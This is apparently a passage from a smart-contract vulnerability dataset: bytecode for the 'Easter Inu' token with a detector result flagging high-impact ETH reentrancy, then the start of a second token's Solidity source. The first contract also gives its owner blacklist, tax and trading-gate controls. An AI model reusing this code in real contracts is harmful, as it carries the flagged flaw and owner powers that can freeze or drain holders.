} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610648578063dd62ed3e14610673578063ea1644d5146106b0578063f2fde38b146106d9576101d7565b8063a9059cbb1461058e578063bfd79284146105cb578063c3c8cd8014610608578063c492f0461461061f576101d7565b80638f9a55c0116100d15780638f9a55c0146104e657806395d89b411461051157806398a5c3151461053c578063a2a957bb14610565576101d7565b80637d1db4a5146104675780638da5cb5b146104925780638f70ccf7146104bd576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190613048565b610702565b005b34801561021157600080fd5b5061021a61082c565b60405161022791906134a5565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612fa8565b610869565b604051610264919061346f565b60405180910390f35b34801561027957600080fd5b50610282610887565b60405161028f919061348a565b60405180910390f35b3480156102a457600080fd5b506102ad6108ad565b6040516102ba9190613687565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612f55565b6108be565b6040516102f7919061346f565b60405180910390f35b34801561030c57600080fd5b50610315610997565b6040516103229190613687565b60405180910390f35b34801561033757600080fd5b5061034061099d565b60405161034d91906136fc565b60405180910390f35b34801561036257600080fd5b5061036b6109a6565b6040516103789190613454565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190612ebb565b6109cc565b005b3480156103b657600080fd5b506103d160048036038101906103cc9190613091565b610abc565b005b3480156103df57600080fd5b506103e8610b6d565b005b3480156103f657600080fd5b50610411600480360381019061040c9190612ebb565b610c3e565b60405161041e9190613687565b60405180910390f35b34801561043357600080fd5b5061043c610c8f565b005b34801561044a57600080fd5b50610465600480360381019061046091906130be565b610de2565b005b34801561047357600080fd5b5061047c610e81565b6040516104899190613687565b60405180910390f35b34801561049e57600080fd5b506104a7610e87565b6040516104b49190613454565b60405180910390f35b3480156104c957600080fd5b506104e460048036038101906104df9190613091565b610eb0565b005b3480156104f257600080fd5b506104fb610f69565b6040516105089190613687565b60405180910390f35b34801561051d57600080fd5b50610526610f6f565b60405161053391906134a5565b60405180910390f35b34801561054857600080fd5b50610563600480360381019061055e91906130be565b610fac565b005b34801561057157600080fd5b5061058c600480360381019061058791906130eb565b61104b565b005b34801561059a57600080fd5b506105b560048036038101906105b09190612fa8565b611102565b6040516105c2919061346f565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed9190612ebb565b611120565b6040516105ff919061346f565b60405180910390f35b34801561061457600080fd5b5061061d611140565b005b34801561062b57600080fd5b5061064660048036038101906106419190612fe8565b611219565b005b34801561065457600080fd5b5061065d611353565b60405161066a9190613687565b60405180910390f35b34801561067f57600080fd5b5061069a60048036038101906106959190612f15565b611359565b6040516106a79190613687565b60405180910390f35b3480156106bc57600080fd5b506106d760048036038101906106d291906130be565b6113e0565b005b3480156106e557600080fd5b5061070060048036038101906106fb9190612ebb565b61147f565b005b61070a611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e906135e7565b60405180910390fd5b60005b8151811015610828576001601160008484815181106107bc576107bb613a7a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610820906139d3565b91505061079a565b5050565b60606040518060400160405280600a81526020017f45617374657220496e7500000000000000000000000000000000000000000000815250905090565b600061087d610876611641565b8484611649565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b60006108cb848484611814565b61098c846108d7611641565b61098785604051806060016040528060288152602001613f2860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093d611641565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121f49092919063ffffffff16565b611649565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109d4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a58906135e7565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ac4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b48906135e7565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bae611641565b73ffffffffffffffffffffffffffffffffffffffff161480610c245750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c0c611641565b73ffffffffffffffffffffffffffffffffffffffff16145b610c2d57600080fd5b6000479050610c3b81612258565b50565b6000610c88600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612353565b9050919050565b610c97611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1b906135e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dea611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6e906135e7565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610eb8611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3c906135e7565b60405180910390fd5b80601660146101000a81548160ff0219169083151502179055504360088190555050565b60185481565b60606040518060400160405280600681526020017f4541535445520000000000000000000000000000000000000000000000000000815250905090565b610fb4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611041576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611038906135e7565b60405180910390fd5b8060198190555050565b611053611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d7906135e7565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b600061111661110f611641565b8484611814565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611181611641565b73ffffffffffffffffffffffffffffffffffffffff1614806111f75750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111df611641565b73ffffffffffffffffffffffffffffffffffffffff16145b61120057600080fd5b600061120b30610c3e565b9050611216816123c1565b50565b611221611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a5906135e7565b60405180910390fd5b60005b8383905081101561134d5781600560008686858181106112d4576112d3613a7a565b5b90506020020160208101906112e99190612ebb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611345906139d3565b9150506112b1565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113e8611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611475576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146c906135e7565b60405180910390fd5b8060188190555050565b611487611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611514576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150b906135e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611584576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157b90613547565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b090613667565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611729576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172090613567565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118079190613687565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611884576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187b90613627565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118eb906134c7565b60405180910390fd5b60008111611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e90613607565b60405180910390fd5b61193f610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ad575061197d610e87565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ef357601660149054906101000a900460ff16611a3c576119ce610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a32906134e7565b60405180910390fd5b5b601754811115611a81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7890613527565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b255750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5b90613587565b60405180910390fd5b6004600854611b7391906137bd565b4311158015611bcf5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611c295750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611c6157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cbf576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d6c5760185481611d2184610c3e565b611d2b91906137bd565b10611d6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6290613647565b60405180910390fd5b5b6000611d7730610c3e565b9050600060195482101590506017548210611d925760175491505b808015611dac5750601660159054906101000a900460ff16155b8015611e065750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e1c575060168054906101000a900460ff165b8015611e725750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ec85750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ef057611ed6826123c1565b60004790506000811115611eee57611eed47612258565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611f9a5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061204d5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561204c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561205b57600090506121e2565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121065750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561211e57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121c95750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121e157600b54600d81905550600c54600e819055505b5b6121ee84848484612649565b50505050565b600083831115829061223c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223391906134a5565b60405180910390fd5b506000838561224b919061389e565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122a860028461267690919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156122d3573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61232460028461267690919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561234f573d6000803e3d6000fd5b5050565b600060065482111561239a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239190613507565b60405180910390fd5b60006123a46126c0565b90506123b9818461267690919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156123f9576123f8613aa9565b5b6040519080825280602002602001820160405280156124275781602001602082028036833780820191505090505b509050308160008151811061243f5761243e613a7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156124e157600080fd5b505afa1580156124f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125199190612ee8565b8160018151811061252d5761252c613a7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061259430601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611649565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016125f89594939291906136a2565b600060405180830381600087803b15801561261257600080fd5b505af1158015612626573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b80612657576126566126eb565b5b61266284848461272e565b806126705761266f6128f9565b5b50505050565b60006126b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061290d565b905092915050565b60008060006126cd612970565b915091506126e4818361267690919063ffffffff16565b9250505090565b6000600d541480156126ff57506000600e54145b156127095761272c565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b600080600080600080612740876129d2565b95509550955095509550955061279e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a3a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061287f81612ae2565b6128898483612b9f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128e69190613687565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294b91906134a5565b60405180910390fd5b50600083856129639190613813565b9050809150509392505050565b600080600060065490506000683635c9adc5dea0000090506129a6683635c9adc5dea0000060065461267690919063ffffffff16565b8210156129c557600654683635c9adc5dea000009350935050506129ce565b81819350935050505b9091565b60008060008060008060008060006129ef8a600d54600e54612bd9565b92509250925060006129ff6126c0565b90506000806000612a128e878787612c6f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612a7c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506121f4565b905092915050565b6000808284612a9391906137bd565b905083811015612ad8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612acf906135a7565b60405180910390fd5b8091505092915050565b6000612aec6126c0565b90506000612b038284612cf890919063ffffffff16565b9050612b5781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612bb482600654612a3a90919063ffffffff16565b600681905550612bcf81600754612a8490919063ffffffff16565b6007819055505050565b600080600080612c056064612bf7888a612cf890919063ffffffff16565b61267690919063ffffffff16565b90506000612c2f6064612c21888b612cf890919063ffffffff16565b61267690919063ffffffff16565b90506000612c5882612c4a858c612a3a90919063ffffffff16565b612a3a90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612c888589612cf890919063ffffffff16565b90506000612c9f8689612cf890919063ffffffff16565b90506000612cb68789612cf890919063ffffffff16565b90506000612cdf82612cd18587612a3a90919063ffffffff16565b612a3a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612d0b5760009050612d6d565b60008284612d199190613844565b9050828482612d289190613813565b14612d68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d5f906135c7565b60405180910390fd5b809150505b92915050565b6000612d86612d818461373c565b613717565b90508083825260208201905082856020860282011115612da957612da8613ae2565b5b60005b85811015612dd95781612dbf8882612de3565b845260208401935060208301925050600181019050612dac565b5050509392505050565b600081359050612df281613ee2565b92915050565b600081519050612e0781613ee2565b92915050565b60008083601f840112612e2357612e22613add565b5b8235905067ffffffffffffffff811115612e4057612e3f613ad8565b5b602083019150836020820283011115612e5c57612e5b613ae2565b5b9250929050565b600082601f830112612e7857612e77613add565b5b8135612e88848260208601612d73565b91505092915050565b600081359050612ea081613ef9565b92915050565b600081359050612eb581613f10565b92915050565b600060208284031215612ed157612ed0613aec565b5b6000612edf84828501612de3565b91505092915050565b600060208284031215612efe57612efd613aec565b5b6000612f0c84828501612df8565b91505092915050565b60008060408385031215612f2c57612f2b613aec565b5b6000612f3a85828601612de3565b9250506020612f4b85828601612de3565b9150509250929050565b600080600060608486031215612f6e57612f6d613aec565b5b6000612f7c86828701612de3565b9350506020612f8d86828701612de3565b9250506040612f9e86828701612ea6565b9150509250925092565b60008060408385031215612fbf57612fbe613aec565b5b6000612fcd85828601612de3565b9250506020612fde85828601612ea6565b9150509250929050565b60008060006040848603121561300157613000613aec565b5b600084013567ffffffffffffffff81111561301f5761301e613ae7565b5b61302b86828701612e0d565b9350935050602061303e86828701612e91565b9150509250925092565b60006020828403121561305e5761305d613aec565b5b600082013567ffffffffffffffff81111561307c5761307b613ae7565b5b61308884828501612e63565b91505092915050565b6000602082840312156130a7576130a6613aec565b5b60006130b584828501612e91565b91505092915050565b6000602082840312156130d4576130d3613aec565b5b60006130e284828501612ea6565b91505092915050565b6000806000806080858703121561310557613104613aec565b5b600061311387828801612ea6565b945050602061312487828801612ea6565b935050604061313587828801612ea6565b925050606061314687828801612ea6565b91505092959194509250565b600061315e838361316a565b60208301905092915050565b613173816138d2565b82525050565b613182816138d2565b82525050565b600061319382613778565b61319d818561379b565b93506131a883613768565b8060005b838110156131d95781516131c08882613152565b97506131cb8361378e565b9250506001810190506131ac565b5085935050505092915050565b6131ef816138e4565b82525050565b6131fe81613927565b82525050565b61320d81613939565b82525050565b600061321e82613783565b61322881856137ac565b935061323881856020860161396f565b61324181613af1565b840191505092915050565b60006132596023836137ac565b915061326482613b02565b604082019050919050565b600061327c603f836137ac565b915061328782613b51565b604082019050919050565b600061329f602a836137ac565b91506132aa82613ba0565b604082019050919050565b60006132c2601c836137ac565b91506132cd82613bef565b602082019050919050565b60006132e56026836137ac565b91506132f082613c18565b604082019050919050565b60006133086022836137ac565b915061331382613c67565b604082019050919050565b600061332b6023836137ac565b915061333682613cb6565b604082019050919050565b600061334e601b836137ac565b915061335982613d05565b602082019050919050565b60006133716021836137ac565b915061337c82613d2e565b604082019050919050565b60006133946020836137ac565b915061339f82613d7d565b602082019050919050565b60006133b76029836137ac565b91506133c282613da6565b604082019050919050565b60006133da6025836137ac565b91506133e582613df5565b604082019050919050565b60006133fd6023836137ac565b915061340882613e44565b604082019050919050565b60006134206024836137ac565b915061342b82613e93565b604082019050919050565b61343f81613910565b82525050565b61344e8161391a565b82525050565b60006020820190506134696000830184613179565b92915050565b600060208201905061348460008301846131e6565b92915050565b600060208201905061349f60008301846131f5565b92915050565b600060208201905081810360008301526134bf8184613213565b905092915050565b600060208201905081810360008301526134e08161324c565b9050919050565b600060208201905081810360008301526135008161326f565b9050919050565b6000602082019050818103600083015261352081613292565b9050919050565b60006020820190508181036000830152613540816132b5565b9050919050565b60006020820190508181036000830152613560816132d8565b9050919050565b60006020820190508181036000830152613580816132fb565b9050919050565b600060208201905081810360008301526135a08161331e565b9050919050565b600060208201905081810360008301526135c081613341565b9050919050565b600060208201905081810360008301526135e081613364565b9050919050565b6000602082019050818103600083015261360081613387565b9050919050565b60006020820190508181036000830152613620816133aa565b9050919050565b60006020820190508181036000830152613640816133cd565b9050919050565b60006020820190508181036000830152613660816133f0565b9050919050565b6000602082019050818103600083015261368081613413565b9050919050565b600060208201905061369c6000830184613436565b92915050565b600060a0820190506136b76000830188613436565b6136c46020830187613204565b81810360408301526136d68186613188565b90506136e56060830185613179565b6136f26080830184613436565b9695505050505050565b60006020820190506137116000830184613445565b92915050565b6000613721613732565b905061372d82826139a2565b919050565b6000604051905090565b600067ffffffffffffffff82111561375757613756613aa9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006137c882613910565b91506137d383613910565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561380857613807613a1c565b5b828201905092915050565b600061381e82613910565b915061382983613910565b92508261383957613838613a4b565b5b828204905092915050565b600061384f82613910565b915061385a83613910565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561389357613892613a1c565b5b828202905092915050565b60006138a982613910565b91506138b483613910565b9250828210156138c7576138c6613a1c565b5b828203905092915050565b60006138dd826138f0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006139328261394b565b9050919050565b600061394482613910565b9050919050565b60006139568261395d565b9050919050565b6000613968826138f0565b9050919050565b60005b8381101561398d578082015181840152602081019050613972565b8381111561399c576000848401525b50505050565b6139ab82613af1565b810181811067ffffffffffffffff821117156139ca576139c9613aa9565b5b80604052505050565b60006139de82613910565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a1157613a10613a1c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613eeb816138d2565b8114613ef657600080fd5b50565b613f02816138e4565b8114613f0d57600080fd5b50565b613f1981613910565b8114613f2457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220edb8a39e4d124e29c5fcf6a502b0057fe710c43c32df96a12cedcd3f0849be2e64736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 661 |
0x5ce275085324431a4ba2ec45811e94352e98dc63 | /**
*Submitted for verification at Etherscan.io on 2022-03-28
*/
//Telegram - https://t.me/ChrisRockInuEth
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
